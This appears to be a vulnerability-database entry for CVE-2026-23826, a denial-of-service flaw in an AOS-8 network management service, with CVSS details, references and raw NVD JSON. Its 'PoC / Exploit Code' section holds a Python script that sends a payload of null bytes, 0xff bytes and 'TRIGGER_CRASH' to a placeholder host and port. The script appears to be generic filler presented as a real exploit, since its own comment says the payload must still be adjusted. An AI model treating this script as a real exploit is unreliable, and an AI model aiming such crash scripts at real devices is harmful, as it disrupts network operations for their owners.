CVE-2026-23826

Description

A vulnerability in a network management service of AOS-8 Operating System could allow an unauthenticated remote attacker to exploit this vulnerability by sending specially crafted network packets to the affected device, potentially resulting in a denial-of-service condition. Successful exploitation could cause the affected service process to terminate unexpectedly, disrupting normal device operations.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

AOS-8 (具体受影响版本请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import sys

# Target IP and Port (Placeholder)
TARGET_IP = "192.168.1.1"
TARGET_PORT = 8080 

def send_malicious_packet():
    """
    Sends a crafted packet to trigger the DoS vulnerability in AOS-8.
    Note: Adjust the payload based on specific vulnerability research.
    """
    try:
        # Create a socket object
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # Set a timeout for the connection
        s.settimeout(5)
        
        print(f"[+] Connecting to {TARGET_IP}:{TARGET_PORT}...")
        s.connect((TARGET_IP, TARGET_PORT))
        
        # Construct a malformed payload
        # Example: Sending an oversized header or unexpected control characters
        payload = b"\x00" * 1000 + b"\xff" * 500 + b"TRIGGER_CRASH"
        
        print(f"[+] Sending malicious payload ({len(payload)} bytes)...")
        s.send(payload)
        
        print("[+] Payload sent. Check if the service has crashed.")
        
    except Exception as e:
        print(f"[-] An error occurred: {e}")
    finally:
        s.close()

if __name__ == "__main__":
    send_malicious_packet()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23826
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23826
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23826/
[4] VulDB https://vuldb.com/cve/CVE-2026-23826
[5] https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23826", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:31.683", "lastModified": "2026-05-13T16:16:36.787", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in a network management service of AOS-8 Operating System could allow an unauthenticated remote attacker to exploit this vulnerability by sending specially crafted network packets to the affected device, potentially resulting in a denial-of-service condition. Successful exploitation could cause the affected service process to terminate unexpectedly, disrupting normal device operations."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US", "source": "[email protected]"}]}}